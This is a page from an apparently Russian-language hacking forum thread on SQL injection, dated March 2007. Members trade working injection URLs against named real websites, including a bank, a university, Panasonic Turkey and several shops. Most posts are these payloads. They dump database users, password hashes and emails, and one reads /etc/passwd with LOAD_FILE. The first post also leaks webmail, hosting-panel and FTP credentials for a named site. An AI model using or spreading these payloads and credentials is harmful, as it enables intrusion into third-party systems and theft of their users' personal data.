FORUMS

MEMBERS

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

		Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
SQL Инъекции

Страница 145 из 1602

145

Опции темы

Поиск в этой теме

Опции просмотра

30.03.2007, 16:15

Muhacir

Участник форума

Регистрация: 05.10.2006

Сообщений: 133

Провел на форуме:
548338

Репутация: 165

Отправить сообщение для Muhacir с помощью ICQ

Цитата:

Сообщение от n1†R0x

можно в webmail зайти

Код:

http://www.mcpost.com/webmail

а можно и в Control Panel хостера)

Код:

https://mmm2624.sbc-webhosting.com/cgi-bin/authApp?msg=LOGIN&redirect=/cgi-bin/secure/index

логин/пасс те же

+ ftp

Код:

ftp://mcpost:0489hbc@mcpost.com

+++++

Код:

http://www.sader.org.tr/uyeler_detay.asp?id=2189768%20union%20select%200,ad,2,email,url,resim,firma,unvan,8,adres,telefon,fax,12,13,14,15,16,17%20from%20uyeler%20where%20id=ID

меняем ID и инфо.
панели нетy или вроде ето только Members

Последний раз редактировалось Muhacir; 30.03.2007 в 16:24..

30.03.2007, 16:42

Muhacir

Участник форума

Регистрация: 05.10.2006

Сообщений: 133

Провел на форуме:
548338

Репутация: 165

Код:

http://www.hurriyetusa.com/haber/haber_detay.asp?id=973068465%20union%20select%200,1,2,3,4,5,6,7,8%20from%20admin

Help

Код:

http://www.panasonic.com.tr/urun_detay.asp?proid=633'%20union%20select%200,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27%20from%20users

помогите со 2 ым

Последний раз редактировалось Muhacir; 30.03.2007 в 17:06..

30.03.2007, 17:15

Grey

Познавший АНТИЧАТ

Регистрация: 10.06.2006

Сообщений: 1,113

Провел на форуме:
17668503

Репутация: 5826

Т.к. скуля выводит все записи (все строки), то там где много ограничил её лимитом с 0 по 15 запись:

Код:

http://www.spsavto.ru/news.php?id=-1+union+select+1,2,3,4,5,6,7,concat(database(),char(58),user(),char(58),version())/*
http://www.spsavto.ru/news.php?id=-1+union+select+1,2,3,4,5,6,7,table_name+from+information_schema.tables+limit+0,15/*

http://www.spsavto.ru/news.php?id=-1+union+select+1,2,3,4,5,6,7,concat(table_schema,char(58),column_name)+from+information_schema.columns+where+table_name=char(110,101,117,95,117,115,101,114,115)/*
http://www.spsavto.ru/news.php?id=-1+union+select+1,2,3,4,5,6,7,concat(id,char(58),login,char(58),password,char(58),name,char(58),email)+from+bers.neu_users/*

http://www.spsavto.ru/news.php?id=-1+union+select+1,2,3,4,5,6,7,concat(table_schema,char(58),column_name)+from+information_schema.columns+where+table_name=char(97,100,109,105,110,115)+limit+0,15/*

Код:

http://www.istrodina.com/rodina_articul.php3?id=-1+union+select+1,2,3,4,concat(database(),char(58),user(),char(58),version()),6,7,8,9,10,11,12,13,14/*

Последний раз редактировалось Grey; 30.03.2007 в 17:17..

30.03.2007, 17:19

Ksander

Постоянный

Регистрация: 21.06.2006

Сообщений: 931

Провел на форуме:
4836047

Репутация: 930

<noindex>
www.diamantbank.ua

Код:

http://www.diamantbank.ua/?el_id=-1+union+select+passwd+from+users/*

</noindex>

30.03.2007, 18:44

Fr-Ron

Участник форума

Регистрация: 10.09.2006

Сообщений: 185

Провел на форуме:
1654589

Репутация: 337

Очень давно выкладывал, но то была просто скуля без запроса...

Цитата:

http://shkola.lv/index.php?mode=wgoods&page=uroki&lsnid=13+UNION+SE LECT+1,concat(user_icq,0x3a,user_password),3,4,5+f rom+forum_users+where+user_icq+%3C%3E+0/*

*****

Вот тут дальше не продвинулся, если кто будет смотреть - отпишитесь че да как...

Цитата:

http://www.sims2club.ru/news/?action=edit&list=&onpage=-1

Последний раз редактировалось Fr-Ron; 30.03.2007 в 20:00..

30.03.2007, 21:44

}{0TT@БЬ)Ч

Постоянный

Регистрация: 20.01.2006

Сообщений: 302

Провел на форуме:
3536885

Репутация: 447

Цитата:

Сообщение от Fr-Ron

Вот тут дальше не продвинулся, если кто будет смотреть - отпишитесь че да как...

Код:

http://www.sims2club.ru/news/?action=edit&list=&onpage=-1

Код:

http://www.sims2club.ru/download/forhouse/details?id=-5150+union+select+1,2,3,4,5,6,7,8/*

вот немножко в другом месте

30.03.2007, 19:09

Constantine

Members of Antichat - Level 5

Регистрация: 24.11.2006

Сообщений: 927

Провел на форуме:
7192869

Репутация: 3033

Давненько не выкладывал =(

Код:

http://www.simpleprinciples.com/main/main.html?Id=7+union+select+1,2,3,4,concat_ws(char(58),version(),database(),user())/*

__________________

Дети индиго - это бездари, не надо песен! В пять лет едва говорить начинают, мы в этом возрасте стихи наизусть читали!

з.ы http://www.youtube.com/watch?v=sNsQe0KByRY Я ПлакалЪ

30.03.2007, 20:26

XTErner

Участник форума

Регистрация: 13.03.2007

Сообщений: 120

Провел на форуме:
1604641

Репутация: 590

Shoping

Код:

http://www.10dance.it/shop/pagine.php?id=-9+union+select+1,user(),3,4/*

Код:

http://www.euroinf.it/shop/shop.php?id=-86+union+select+1,2,3,AES_DECRYPT(AES_ENCRYPT(database(),0x71),0x71),5,6,7,8/*

Код:

http://shop.colinmcraesport.com/item.php?id=-8+union+select+1,2,3,4,5,6,LOAD_FILE(0x2f6574632f706173737764),8,9,10,11,12,13,14,15,16,17,18,19,20,21/*

Код:

http://www.kbmedien.ch/shop/bestellform.php?id=-2+union+select+1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24/*

Код:

http://www.vlp-aspan.ch/de/shop/category.php?id=-6+union+select+concat(user_password,0x3a,user_name)+from+users+limit+13,1/*

перебор юзеров лимитом

30.03.2007, 20:29

Ksander

Постоянный

Регистрация: 21.06.2006

Сообщений: 931

Провел на форуме:
4836047

Репутация: 930

www.ukma.kiev.ua

Национальный Университет Киево-Могилянской Академии

падлюки, не взяли меня =( пусть терь локти грызут

Код:

http://www.ukma.kiev.ua/news/news_detailed.php?id=-1+union+select+1,2,3,concat(username,char(58),user_password),5,6,7,8,9,10,11,12,13,14,15,16+from+phpbb_users/*

#10

30.03.2007, 21:01

Grey

Познавший АНТИЧАТ

Регистрация: 10.06.2006

Сообщений: 1,113

Провел на форуме:
17668503

Репутация: 5826

Код:

http://www.ukrinfo.net/s.p?g=-1+union+select+concat(database(),char(58),user(),char(58),version())/*
http://www.ukrinfo.net/s.p?g=-1+union+select+table_name+from+information_schema.tables+limit+17,1/*
http://www.ukrinfo.net/s.p?g=-1+union+select+concat(table_schema,char(58),column_name)+from+information_schema.columns+where+table_name=char(65,100,109,105,110)+limit+0,1/*
http://www.ukrinfo.net/s.p?g=-1+union+select+concat(table_schema,char(58),column_name)+from+information_schema.columns+where+table_name=char(99,111,110,116,114,111,108)+limit+0,1/*